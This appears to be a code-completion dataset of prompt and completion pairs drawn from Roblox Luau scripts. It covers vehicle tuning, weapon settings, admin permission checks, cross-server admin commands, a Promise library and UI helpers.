prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--[[ local SmoothDamp = require(this) smooth = SmoothDamp.new() smooth.MaxSpeed smooth:Update(currentVector, targetVector, smoothTime) smooth:UpdateAngle(currentVector, targetVector, smoothTime) Use UpdateAngle if smoothing out angles. The only difference is that it makes sure angles wrap properly (in radians). For instance, if damping a rotating wheel, UpdateAngle should be used. -- Example: local smooth = SmoothDamp.new() function Update() local current = camera.CFrame.p local target = (part.CFrame * CFrame.new(0, 5, -10)).p local camPos = smooth:Update(current, target, 0.2) camera.CFrame = CFrame.new(camPos, part.Position) end --]]
-- Check if the player can run commands
function CheckHostID(player) -- Is the game running in studio if Run:IsStudio() then return true end if game.CreatorType == Enum.CreatorType.User then -- Is the player the game's owner if player.UserId == game.CreatorId then return true end elseif game.CreatorType == Enum.CreatorType.Group then -- Does the player have a high enough group rank if player:GetRankInGroup(game.CreatorId) >= gameRules.HostRank then return true end end -- Is the player in the game host list for _, cID in pairs(gameRules.HostList) do if player.UserId == cID then return true end end return false end
--// KeyBindings
FireSelectKey = Enum.KeyCode.T; CycleSightKey = Enum.KeyCode.T; LaserKey = Enum.KeyCode.G; LightKey = Enum.KeyCode.B; InteractKey = Enum.KeyCode.E; AlternateAimKey = Enum.KeyCode.Z; InspectionKey = Enum.KeyCode.H; AttachmentKey = Enum.KeyCode.LeftControl;
--Main Settings:
CAM_GEARS = true ENGINE_SHAKE = true MANIFOLD_HEAT = true THROTTLE_BODY = true TIMING_BELT = true TURBO_CHARGED = true
--Motors
rS = part:findFirstChild("Right Shoulder") lS = part:findFirstChild("Left Shoulder") rH = part:findFirstChild("Right Hip") lH = part:findFirstChild("Left Hip")
--[=[ The current property of the Attribute. Can be assigned to to write the attribute. @prop Value T @within AttributeValue ]=]
-- Variables (best not to touch these!)
local button = script.Parent local car = script.Parent.Parent.Car.Value local sound = script.Parent.Start sound.Parent = car.DriveSeat -- What brick the start sound is playing from. button.MouseButton1Click:connect(function() -- Event when the button is clicked if script.Parent.Text == "Engine: Off" then -- If the text says it's off then.. sound:Play() -- Startup sound plays.. wait(0.7) -- For realism. Okay? script.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car. button.Text = "Engine: On" -- You don't really need this, but I would keep it. else -- If it's on then when you click the button, script.Parent.Parent.IsOn.Value = false -- The car is turned off. button.Text = "Engine: Off" end -- Don't touch this. end) -- And don't touch this either.
-- aButton:TweenPosition(Aposition, "InOut", "Sine", 0.1)
end) dButton.MouseEnter:Connect(function() dButton:TweenSize(size, "InOut", "Sine", 0.1)
--Made by Luckymaxer
Players = game:GetService("Players") Debris = game:GetService("Debris") ProjectileNames = {"Water", "Arrow", "Projectile", "Effect", "Rail", "Laser", "Ray", "Bullet", "ParticlePart"} Functions = { CheckTableForString = (function(Table, String) for i, v in pairs(Table) do if string.lower(v) == string.lower(String) then return true end end return false end), CheckIntangible = (function(Hit) if Hit and Hit.Parent then if (Hit.Transparency >= 1 and not Hit.CanCollide) or Functions.CheckTableForString(ProjectileNames, Hit.Name) then return true end local ObjectParent = Hit.Parent local Character = ObjectParent.Parent local Humanoid = Character:FindFirstChild("Humanoid") if Humanoid and Humanoid.Health > 0 and ObjectParent:IsA("Accoutrement") then return true end end return false end), CastRay = (function(StartPos, Vec, Length, Ignore, DelayIfHit) local RayHit, RayPos, RayNormal = game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore) if RayHit and Functions.CheckIntangible(RayHit) then if DelayIfHit then wait() end RayHit, RayPos, RayNormal = Functions.CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit) end return RayHit, RayPos, RayNormal end), IsTeamMate = (function(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end), TagHumanoid = (function(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end), UntagHumanoid = (function(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end), } return Functions
-- LOCAL
local LocalizationService = game:GetService("LocalizationService") local tweenService = game:GetService("TweenService") local debris = game:GetService("Debris") local userInputService = game:GetService("UserInputService") local httpService = game:GetService("HttpService") -- This is to generate GUIDs local runService = game:GetService("RunService") local textService = game:GetService("TextService") local starterGui = game:GetService("StarterGui") local guiService = game:GetService("GuiService") local localizationService = game:GetService("LocalizationService") local playersService = game:GetService("Players") local localPlayer = playersService.LocalPlayer local iconModule = script local TopbarPlusReference = require(iconModule.TopbarPlusReference) local referenceObject = TopbarPlusReference.getObject() local leadPackage = referenceObject and referenceObject.Value if leadPackage and leadPackage ~= iconModule then return require(leadPackage) end if not referenceObject then TopbarPlusReference.addToReplicatedStorage() end local Icon = {} Icon.__index = Icon local IconController = require(iconModule.IconController) local Signal = require(iconModule.Signal) local Maid = require(iconModule.Maid) local TopbarPlusGui = require(iconModule.TopbarPlusGui) local Themes = require(iconModule.Themes) local activeItems = TopbarPlusGui.ActiveItems local topbarContainer = TopbarPlusGui.TopbarContainer local iconTemplate = topbarContainer["IconContainer"] local DEFAULT_THEME = Themes.Default local THUMB_OFFSET = 55 local DEFAULT_FORCED_GROUP_VALUES = {}
--!strict
local Types = require(script.Parent.Parent.Parent.Types) return function(players: Types.Array<Player>): Types.PlayerContainer return { kind = "set", value = players } end
-------------------------------------------------------------------------------------------------------------------------
upgradeStuff = model:clone() wait(1) model:remove() owner = script.Parent.Parent.Parent.OwnerName local ting = 0 function onTouched(hit) if ting == 0 then ting = 1 check = hit.Parent:FindFirstChild("Humanoid") if check ~= nil then if hit.Parent.Name == owner.Value then local user = game.Players:GetPlayerFromCharacter(hit.Parent) local stats = user:findFirstChild("leaderstats") if stats ~= nil then local cash = stats:findFirstChild("Cash") if cash.Value > (Upgradecost-1) then cash.Value = cash.Value - Upgradecost upgradeStuff.Parent = script.Parent.Parent.Parent script.Parent.Parent:remove() end end end end ting = 0 end end script.Parent.Touched:connect(onTouched)
--[[ // Instructions // 1. Put the ServerScriptService in ServerScriptService and ungroup it. 2. Put StarterGui in StarterGui and ungroup it. 3. Enjoy the model! --]]
script.Parent:Destroy() -- This code is just to remove the model but if you want -- you can just delete the model :)
-- Gradually regenerates the Humanoid's Health over time.
local REGEN_RATE = 10/100 -- Regenerate this fraction of MaxHealth per second. local REGEN_STEP = 0.05 -- Wait this long between each regeneration step.
--gun welds
local boltw = mainpart:WaitForChild("boltweld") local magw = mainpart:WaitForChild("magweld") local trigw = mainpart:WaitForChild("triggerweld") local rightgrip
--// Event Connections
L_114_.OnClientEvent:connect(function(L_327_arg1, L_328_arg2) if L_327_arg1 ~= L_2_ then local L_329_ = L_327_arg1.Character local L_330_ = L_329_.AnimBase.AnimBaseW local L_331_ = L_330_.C1 if L_328_arg2 then L_129_(L_330_, nil , L_329_.Head.CFrame, function(L_332_arg1) return math.sin(math.rad(L_332_arg1)) end, 0.25) elseif not L_328_arg2 then L_129_(L_330_, nil , L_331_, function(L_333_arg1) return math.sin(math.rad(L_333_arg1)) end, 0.25) end end end) L_117_.OnClientEvent:connect(function(L_334_arg1, L_335_arg2) if L_42_ and L_335_arg2 ~= L_2_ and L_24_.CanCallout then if (L_3_.HumanoidRootPart.Position - L_334_arg1).magnitude <= 10 then L_41_.Visible = true local L_336_ = ScreamCalculation() if L_336_ then if L_7_:FindFirstChild('AHH') and not L_7_.AHH.IsPlaying then L_118_:FireServer(L_7_.AHH, L_98_[math.random(0, 21)]) end end L_14_:Create(L_41_, TweenInfo.new(0.1), { BackgroundTransparency = 0.4 }):Play() delay(0.1, function() L_14_:Create(L_41_, TweenInfo.new(3), { BackgroundTransparency = 1 }):Play() end) end end end)
--// Load server
return require(script.Server.Server)
--Player removing
main.players.PlayerRemoving:Connect(function(player) -- main.permissionToReplyToPrivateMessage[player] = nil main.commandBlocks[player] = nil -- local pdata = main.pd[player] if pdata then for itemName, item in pairs(pdata.Items) do item:Destroy() end local underControl = pdata.Items["UnderControl"] if underControl then local controller = underControl.Value if controller then main:GetModule("cf"):RemoveControlPlr(controller) end end end for i, plr in pairs(main.players:GetChildren()) do local plrData = main.pd[plr] if plrData then local tag = plrData.Items["UnderControl"] if tag and tag.Value == player then main:GetModule("cf"):RemoveUnderControl(plr) end end end -- main:GetModule("PlayerData"):RemovePlayerData(player) -- end)
-- Remote Events
--Client -> Server local RE_replicateProjectile = remoteEvents.Client.ReplicateProjectile local RE_tempSaveProfile = remoteEvents.Client.ForceSaveTemp --Server -> Client
--[[* * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. ]]
type unknown = any --[[ ROBLOX FIXME: adding `unknown` type alias to make it easier to use Luau unknown equivalent when supported ]] local CurrentModule = script.Parent local Packages = CurrentModule.Parent local Promise = require(Packages.Promise) local exports = {} local function isPromise( candidate: unknown ): boolean --[[ ROBLOX FIXME: change to TSTypePredicate equivalent if supported ]] --[[ candidate is Promise<unknown> ]] -- ROBLOX deviation: using Promise library implementation to check if a variable is a Promise return Promise.is(candidate) end exports.default = isPromise return exports
-------------------------------------------------------------------------
local function CheckAlive() local humanoid = findPlayerHumanoid(Player) return humanoid ~= nil and humanoid.Health > 0 end local function GetEquippedTool(character) if character ~= nil then for _, child in pairs(character:GetChildren()) do if child:IsA('Tool') then return child end end end end local ExistingPather = nil local ExistingIndicator = nil local PathCompleteListener = nil local PathFailedListener = nil local function CleanupPath() if ExistingPather then ExistingPather:Cancel() ExistingPather = nil end if PathCompleteListener then PathCompleteListener:Disconnect() PathCompleteListener = nil end if PathFailedListener then PathFailedListener:Disconnect() PathFailedListener = nil end if ExistingIndicator then ExistingIndicator:Destroy() end end local function HandleMoveTo(thisPather, hitPt, hitChar, character, overrideShowPath) ExistingPather = thisPather thisPather:Start(overrideShowPath) PathCompleteListener = thisPather.Finished.Event:Connect(function() CleanupPath() if hitChar then local currentWeapon = GetEquippedTool(character) if currentWeapon then currentWeapon:Activate() end end end) PathFailedListener = thisPather.PathFailed.Event:Connect(function() CleanupPath() if overrideShowPath == nil or overrideShowPath then local shouldPlayFailureAnim = PlayFailureAnimation and not (ExistingPather and ExistingPather:IsActive()) if shouldPlayFailureAnim then ClickToMoveDisplay.PlayFailureAnimation() end ClickToMoveDisplay.DisplayFailureWaypoint(hitPt) end end) end local function ShowPathFailedFeedback(hitPt) if ExistingPather and ExistingPather:IsActive() then ExistingPather:Cancel() end if PlayFailureAnimation then ClickToMoveDisplay.PlayFailureAnimation() end ClickToMoveDisplay.DisplayFailureWaypoint(hitPt) end function OnTap(tapPositions, goToPoint, wasTouchTap) -- Good to remember if this is the latest tap event local camera = Workspace.CurrentCamera local character = Player.Character if not CheckAlive() then return end -- This is a path tap position if #tapPositions == 1 or goToPoint then if camera then local unitRay = camera:ScreenPointToRay(tapPositions[1].x, tapPositions[1].y) local ray = Ray.new(unitRay.Origin, unitRay.Direction*1000) local myHumanoid = findPlayerHumanoid(Player) local hitPart, hitPt, hitNormal = Utility.Raycast(ray, true, getIgnoreList()) local hitChar, hitHumanoid = Utility.FindCharacterAncestor(hitPart) if wasTouchTap and hitHumanoid and StarterGui:GetCore("AvatarContextMenuEnabled") then local clickedPlayer = Players:GetPlayerFromCharacter(hitHumanoid.Parent) if clickedPlayer then CleanupPath() return end end if goToPoint then hitPt = goToPoint hitChar = nil end if hitPt and character then -- Clean up current path CleanupPath() local thisPather = Pather(hitPt, hitNormal) if thisPather:IsValidPath() then HandleMoveTo(thisPather, hitPt, hitChar, character) else -- Clean up thisPather:Cleanup() -- Feedback here for when we don't have a good path ShowPathFailedFeedback(hitPt) end end end elseif #tapPositions >= 2 then if camera then -- Do shoot local currentWeapon = GetEquippedTool(character) if currentWeapon then currentWeapon:Activate() end end end end local function DisconnectEvent(event) if event then event:Disconnect() end end
--[[Engine]]
--Torque Curve Tune.Horsepower = 10000 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 1000 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6500 -- Use sliders to manipulate values Tune.Redline = 7000 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 6000 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels] --[Values are in degrees] Tune.FCamber = -.16 Tune.RCamber = -.17 Tune.FToe = -.2 Tune.RToe = -.2
--// Tracer Vars
TracerTransparency = 1; TracerLightEmission = 1; TracerTextureLength = 0.1; TracerLifetime = 0.05; TracerFaceCamera = true; TracerColor = BrickColor.new('White');
--[[ The Module ]]
-- local BaseOcclusion = {} BaseOcclusion.__index = BaseOcclusion setmetatable(BaseOcclusion, { __call = function(_, ...) return BaseOcclusion.new(...) end }) function BaseOcclusion.new() local self = setmetatable({}, BaseOcclusion) return self end
-- Turns out debug.traceback() is slow
local ENABLE_TRACEBACK = false local _emptyRejectedPromise = nil local _emptyFulfilledPromise = nil local Promise = {} Promise.ClassName = "Promise" Promise.__index = Promise
--[[ Client Description: This script does the exact same thing as the Server script in ServerScriptService. This script parses the folders into a database so it can be referenced easily from the database library. ]]
--// This module is for stuff specific to cross server communication --// NOTE: THIS IS NOT A *CONFIG/USER* PLUGIN! ANYTHING IN THE MAINMODULE PLUGIN FOLDERS IS ALREADY PART OF/LOADED BY THE SCRIPT! DO NOT ADD THEM TO YOUR CONFIG>PLUGINS FOLDER!
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local server = Vargs.Server; local service = Vargs.Service; local Settings = server.Settings local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps = server.Functions, server.Commands, server.Admin, server.Anti, server.Core, server.HTTP, server.Logs, server.Remote, server.Process, server.Variables, server.Deps local ServerId = game.JobId; local MsgService = service.MessagingService; local subKey = Core.DataStoreEncode("Adonis_CrossServerMessaging"); local counter = 0; local lastTick; local oldCommands = Core.CrossServerCommands; --// Cross Server Commands Core.CrossServerCommands = { ServerChat = function(jobId, data) if data then for _, v in ipairs(service.GetPlayers()) do if Admin.GetLevel(v) > 0 then Remote.Send(v, "handler", "ChatHandler", data.Player, data.Message, "Cross") end end end end; Ping = function(jobId, data) Core.CrossServer("Pong", { JobId = game.JobId; NumPlayers = #service.Players:GetPlayers(); }) end; Pong = function(jobId, data) service.Events.ServerPingReplyReceived:Fire(jobId, data) end; NewRunCommand = function(jobId, plrData, comString) Process.Command(Functions.GetFakePlayer(plrData), comString, {AdminLevel = plrData.AdminLevel, CrossServer = true}) end; -- // Unused, unnecessary, at the very least it should use GetEnv, and yes even if GetEnv has an empty table you can still do GetEnv({}).GetEnv().server -- If this ever were to be re-enabled it should use Core.Loadstring at all --[[Loadstring = function(jobId, source) -- // Im honestly not even sure what to think of this one. Core.Loadstring(source, GetEnv{})() end;]] Message = function(jobId, fromPlayer, message, duration) server.Functions.Message( "Global Message from " .. (fromPlayer or "[Unknown]"), message, service.GetPlayers(), true, duration ) end; RemovePlayer = function(jobId, name, BanMessage, reason) --// probably should move this to userid local player = service.Players:FindFirstChild(name) if player then player:Kick(string.format("%s | Reason: %s", BanMessage, reason)) end end; DataStoreUpdate = function(jobId, key, data) if key and data then Routine(Core.LoadData, key, data) end end; UpdateSetting = function(jobId, setting, newValue) if type(setting) == "string" then Settings[setting] = if newValue == nil then require(Deps.DefaultSettings).Settings[setting] else newValue end end; LoadData = function(jobId, key, dat) Core.LoadData(key, dat, jobId) end; Event = function(jobId, eventId, ...) service.Events["CRSSRV:".. eventId]:Fire(...) end; CrossServerVote = function(jobId, data) local question = data.Question local answers = data.Answers local voteKey = data.VoteKey local start = os.time() Logs.AddLog("Commands", { Text = "[CRS_SERVER] Vote initiated by "..data.Initiator, Desc = question }) for _, v in pairs(service.GetPlayers()) do Routine(function() local response = Remote.GetGui(v, "Vote", {Question = question, Answers = answers}) if response and os.time() - start <= 120 then MsgService:PublishAsync(voteKey, {PlrInfo = {Name = v.Name, UserId = v.UserId}, Response = response}) end end) end end; } local function CrossEvent(eventId) return service.Events["CRSSRV".. eventId] end --// User Commands Commands.CrossServer = { Prefix = Settings.Prefix; Commands = {"crossserver", "cross"}; Args = {"command"}; Description = "Runs the specified command string on all servers"; AdminLevel = "HeadAdmins"; CrossServerDenied = true; --// Makes it so this command cannot be ran via itself causing an infinite spammy loop of cross server commands... IsCrossServer = true; --// Used in settings.CrossServerCommands in case a game creator wants to disable the cross-server commands Function = function(plr: Player, args: {string}) if not Core.CrossServer("NewRunCommand", { UserId = plr.UserId; Name = plr.Name; DisplayName = plr.DisplayName; AccountAge = plr.AccountAge; --MembershipType = plr.MembershipType; -- MessagingService doesn't accept Enums FollowUserId = plr.FollowUserId; AdminLevel = Admin.GetLevel(plr); }, args[1]) then error("CrossServer handler not ready (try again later)") end end; }; Commands.CrossServerList = { Prefix = Settings.Prefix; Commands = {"serverlist", "gameservers", "crossserverlist", "listservers"}; Args = {}; Description = "Attempts to list all active servers (at the time the command was ran)"; AdminLevel = "Admins"; CrossServerDenied = true; IsCrossServer = true; Function = function(plr: Player, args: {string}) local disced = false local updateKey = "SERVERPING_".. math.random() local replyList = {} local listener = service.Events.ServerPingReplyReceived:Connect(function(jobId, data) if jobId then replyList[jobId] = data or {} end end) local function listUpdate() local tab = {} local totalPlayers = 0 local totalServers = 0 for jobId,data in pairs(replyList) do totalServers += 1 totalPlayers = totalPlayers + (data.NumPlayers or 0) table.insert(tab, { Text = "Players: ".. (data.NumPlayers or 0) .. " | JobId: ".. jobId; Desc = "JobId: ".. jobId; }) end table.insert(tab, 1, { Text = "Total Servers: ".. totalServers .." | Total Players: ".. totalPlayers; Desc = "The total number of servers and players"; }) return tab; end local function doDisconnect() if not disced then disced = true Logs.TempUpdaters[updateKey] = nil listener:Disconnect() end end if not Core.CrossServer("Ping") then doDisconnect() error("CrossServer handler not ready (please try again later)") else local closeEvent = Remote.NewPlayerEvent(plr,updateKey, function() doDisconnect() end) Logs.TempUpdaters[updateKey] = listUpdate; Remote.MakeGui(plr, "List", { Title = "Server List", Tab = listUpdate(), Update = "TempUpdate", UpdateArgs = {{UpdateKey = updateKey}}, OnClose = "client.Remote.PlayerEvent('".. updateKey .."')", AutoUpdate = 1, }) delay(500, doDisconnect) end end; }; Commands.CrossServerVote = { Prefix = Settings.Prefix; Commands = {"crossservervote", "crsvote", "globalvote", "gvote"}; Args = {"answer1,answer2,etc (NO SPACES)", "question"}; Filter = true; Description = "Lets you ask players in all servers a question with a list of answers and get the results"; AdminLevel = "Moderators"; CrossServerDenied = true; IsCrossServer = true; Function = function(plr: Player, args: {string}) local question = args[2] if not question then error("You forgot to supply a question! (argument #2)") end local answers = args[1] local anstab = {} local responses = {} local voteKey = "ADONISVOTE".. math.random() local startTime = os.time() local msgSub = MsgService:SubscribeAsync(voteKey, function(data) table.insert(responses, data.Data.Response) end) local function voteUpdate() local results = {} local total = #responses local tab = { "Question: "..question; "Total Responses: "..total; "Time Left: ".. math.max(0, 120 - (os.time()-startTime)); --"Didn't Vote: "..#players-total; } for _, v in pairs(responses) do if not results[v] then results[v] = 0 end results[v] += 1 end for _, v in pairs(anstab) do local ans = v local num = results[v] local percent if not num then num = 0 percent = 0 else percent = math.floor((num/total)*100) end table.insert(tab, { Text = ans.." | "..percent.."% - "..num.."/"..total, Desc = "Number: "..num.."/"..total.." | Percent: "..percent }) end return tab end Logs.TempUpdaters[voteKey] = voteUpdate; if not answers then anstab = {"Yes","No"} else for ans in answers:gmatch("([^,]+)") do table.insert(anstab, ans) end end local data = { Answers = anstab; Question = question; VoteKey = voteKey; Initiator = service.FormatPlayer(plr); } Core.CrossServer("CrossServerVote", data) Remote.MakeGui(plr, "List", { Title = "Results", Icon = server.MatIcons["Text snippet"]; Tab = voteUpdate(), Update = "TempUpdate", UpdateArgs = {{UpdateKey = voteKey}}, AutoUpdate = 1, }) delay(120, function() Logs.TempUpdaters[voteKey] = nil msgSub:Disconnect() end) end }; --// Handlers Core.CrossServer = function(...) local data = {ServerId, ...}; service.Queue("CrossServerMessageQueue", function() --// rate limiting counter += 1 if not lastTick then lastTick = os.time() end if counter >= 150 + 60 * #service.Players:GetPlayers() then repeat wait() until os.time()-lastTick > 60 end if os.time()-lastTick > 60 then lastTick = os.time() counter = 1 end --// publish MsgService:PublishAsync(subKey, data) end, 300, true) return true end Process.CrossServerMessage = function(msg) local data = msg.Data assert(data and type(data) == "table", "CrossServer: Invalid data type ".. type(data)) local serverId, command = data[1], data[2] Logs:AddLog("Script", { Text = "Cross-server message received: "..(command or "[NO COMMAND]"); Desc = "Origin JobId: "..(serverId or "[MISSING]") }) if not (serverId and command) then return end table.remove(data, 2) if Core.CrossServerCommands[command] then Core.CrossServerCommands[command](unpack(data)) end end Core.SubEvent = MsgService:SubscribeAsync(subKey, function(...) return Process.CrossServerMessage(...) end) --// Check for additions added by other modules in core before this one loaded for i, v in pairs(oldCommands) do Core.CrossServerCommands[i] = v end Logs:AddLog("Script", "Cross-Server Module Loaded"); end
-- Reference the frames you want to control
local UISpeed = gui.UISpeed local Volume = gui.Volume local Wallpapers = gui.Wallpapers local Notifications = gui.Notifications local ClipWellbeing = gui.ClipWellbeing
--// Holiday roooaaAaaoooAaaooOod
local _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, spawn, delay, task, assert = _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, table.unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, task.wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, task.defer, task.delay, task, function(cond, errMsg) return cond or error(errMsg or "assertion failed!", 2) end; local ServicesWeUse = { "Workspace"; "Players"; "Lighting"; "ServerStorage"; "ReplicatedStorage"; "JointsService"; "ReplicatedFirst"; "ScriptContext"; "ServerScriptService"; "LogService"; "Teams"; "SoundService"; "StarterGui"; "StarterPack"; "StarterPlayer"; "GroupService"; "MarketplaceService"; "MarketplaceService"; "TestService"; "HttpService"; "RunService"; "InsertService"; "NetworkServer"; } local unique = {} local origEnv = getfenv(); setfenv(1,setmetatable({}, {__metatable = unique})) local locals = {} local server = {} local service = {} local RbxEvents = {} local ErrorLogs = {} local HookedEvents = {} local ServiceSpecific = {} local oldReq = require local Folder = script.Parent local oldInstNew = Instance.new local isModule = function(module) for ind, modu in pairs(server.Modules) do if module == modu then return true end end end local logError = function(plr, err) if type(plr) == "string" and not err then err = plr; plr = nil; end if server.Core and server.Core.DebugMode then warn("::Adonis:: Error: "..tostring(plr)..": "..tostring(err)) end if server and server.Logs then server.Logs.AddLog(server.Logs.Errors, { Text = ((err and plr and tostring(plr) ..":") or "").. tostring(err), Desc = err, Player = plr }) end end
-- Sink down on the tree and fix the order heap property.
function PriorityQueue:sink() local size = self.current_size local heap = self.heap local i = 1 while (i * 2) <= size do local mc = self:min_child(i) if heap[i][2] > heap[mc][2] then heap[i], heap[mc] = heap[mc], heap[i] end i = mc end end function PriorityQueue:min_child(i) local base = i * 2 local above = base + 1 if above > self.current_size or self.heap[base][2] < self.heap[above][2] then return base end return above end local tbl = {} tbl.__index = tbl
--!strict
local copy = require(script.Parent.copy)
-- ================================================================================ -- PUBLIC FUNCTIONS -- ================================================================================
function PilotSeat.new(speeder) local newPilotSeat = {} setmetatable(newPilotSeat, PilotSeat) -- Set speeder and main (PrimaryPart) newPilotSeat.speeder = speeder newPilotSeat.main = speeder.PrimaryPart -- Mass equalizer SetMassless(newPilotSeat.speeder, newPilotSeat) SetMass(newPilotSeat.main) newPilotSeat.mass = GetMass(newPilotSeat.speeder) SetupCollisionDetection(newPilotSeat.speeder, newPilotSeat) -- Settings local _settings = newPilotSeat.main:FindFirstChild("Settings") assert(_settings, "A Settings script wasn't found. Make sure your finished Model includes a Body part with an attached Setting Script") newPilotSeat._settings = require(_settings) newPilotSeat.engine = Engine.new(newPilotSeat) return newPilotSeat end -- PilotSeat.new() function PilotSeat:Destroy() self.speeder:Destroy() self.main = false self.id = false self.engine = false end -- PilotSeat:Destroy()
--[[ Used to set a handler for when the promise resolves, rejects, or is cancelled. Returns a new promise chained from this promise. ]]
function Promise.prototype:_finally(traceback, finallyHandler, onlyOk) if not onlyOk then self._unhandledRejection = false end -- Return a promise chained off of this promise return Promise._new(traceback, function(resolve, reject) local finallyCallback = resolve if finallyHandler then finallyCallback = createAdvancer( traceback, finallyHandler, resolve, reject ) end if onlyOk then local callback = finallyCallback finallyCallback = function(...) if self._status == Promise.Status.Rejected then return resolve(self) end return callback(...) end end if self._status == Promise.Status.Started then -- The promise is not settled, so queue this. table.insert(self._queuedFinally, finallyCallback) else -- The promise already settled or was cancelled, run the callback now. finallyCallback(self._status) end end, self) end function Promise.prototype:finally(finallyHandler) assert( finallyHandler == nil or type(finallyHandler) == "function" or finallyHandler.__call ~= nill, string.format(ERROR_NON_FUNCTION, "Promise:finally") ) return self:_finally(debug.traceback(nil, 2), finallyHandler) end
-- Find the new indicies of the trailing, anchor and leading elements. -- props is expected to contain itemList, the identifier function and the maximum search distance. -- state is expected to contain the old top, anchor and bottom indices and ids.
return function(props, state) local topIndex = state.trail.index local topID = state.trail.id local anchorIndex = state.anchor.index local anchorID = state.anchor.id local bottomIndex = state.lead.index local bottomID = state.lead.id local listSize = #props.itemList -- If too much got deleted and the previous anchor index is off the bottom of the list, start the search from -- the bottom. if topIndex > listSize then topIndex = listSize end if anchorIndex > listSize then anchorIndex = listSize end if bottomIndex > listSize then bottomIndex = listSize end -- No access to self:getID local getID = function(index) return props.identifier(props.itemList[index]) end local topStill = getID(topIndex) == topID local anchorStill = getID(anchorIndex) == anchorID local bottomStill = getID(bottomIndex) == bottomID if topStill and anchorStill and bottomStill then -- Nothing important moved return topIndex, anchorIndex, bottomIndex end local step = 0 local foundTop = topStill and topIndex or nil local foundAnchor = nil local foundBottom = bottomStill and bottomIndex or nil -- Scan outward from the old anchor index until we find the top and bottom or hit the max distance local deltas = {top=-1, bottom=1} repeat for _, delta in pairs(deltas) do local pos = anchorIndex + delta * step if pos >= 1 and pos <= listSize then local id = getID(pos) if id == topID then foundTop = pos end if id == anchorID then foundAnchor = pos end if id == bottomID then foundBottom = pos end end end step = step + 1 until (foundTop and foundAnchor and foundBottom) or step > props.maximumSearchDistance return foundTop, foundAnchor, foundBottom end
-- params : ...
local sp = script.Parent update = function() sp.Scope.Position = UDim2.new(0.5, -10 - sp.AbsoluteSize.y / 2, 0, -26) sp.Scope.Size = UDim2.new(0, 20 + sp.AbsoluteSize.y, 0, 20 + sp.AbsoluteSize.y) sp.ScopeId.Position = UDim2.new(0.5, -10 - sp.AbsoluteSize.y / 2, 0, -26) sp.ScopeId.Size = UDim2.new(0, 20 + sp.AbsoluteSize.y, 0, 20 + sp.AbsoluteSize.y) sp.F1.Size = UDim2.new(0, 20 + (sp.AbsoluteSize.x - sp.AbsoluteSize.y) / 2, 1, 20) sp.F2.Size = UDim2.new(0, 20 + (sp.AbsoluteSize.x - sp.AbsoluteSize.y) / 2, 1, 20) sp.F2.Position = UDim2.new(1, -10 - (sp.AbsoluteSize.x - sp.AbsoluteSize.y) / 2, 0, -10) end wait() sp.Changed:connect(update) update()
-- set collision group for player's meshes
local function OnDescendantAdded(child) if( child:IsA("BasePart") or child:IsA("UnionOperation")) then PhysicsService:SetPartCollisionGroup(child, "Player") --print("CollisionGroup: " .. child.Name) end end Players.LocalPlayer.Character.DescendantAdded:Connect(OnDescendantAdded)
--- Queues the hitbox to be destroyed in the next frame
function Hitbox:Destroy() self.HitboxPendingRemoval = true if self.HitboxObject then CollectionService:RemoveTag(self.HitboxObject, self.Tag) end self:HitStop() self.OnHit:Destroy() self.OnUpdate:Destroy() self.HitboxRaycastPoints = nil self.HitboxObject = nil end
----------------------------------
local PhysicsManager, SeatManager, ControlManager local BoatModel = script.Parent local Seat = WaitForChild(BoatModel, "VehicleSeat")
-- تعريف المتغيرات
local plank = script.Parent -- اسم المجسم الذي يمثل الخشبة local originalPosition = plank.Position -- الموضع الأصلي للخشبة local shakingDuration = 2 -- مدة التزعزع (بالثواني) local fallingDuration = 1 -- مدة السقوط (بالثواني) local shakeMagnitude = 0.2 -- قوة التزعزع local fallHeight = 10 -- ارتفاع السقوط
--- Sets the command bar visible or not
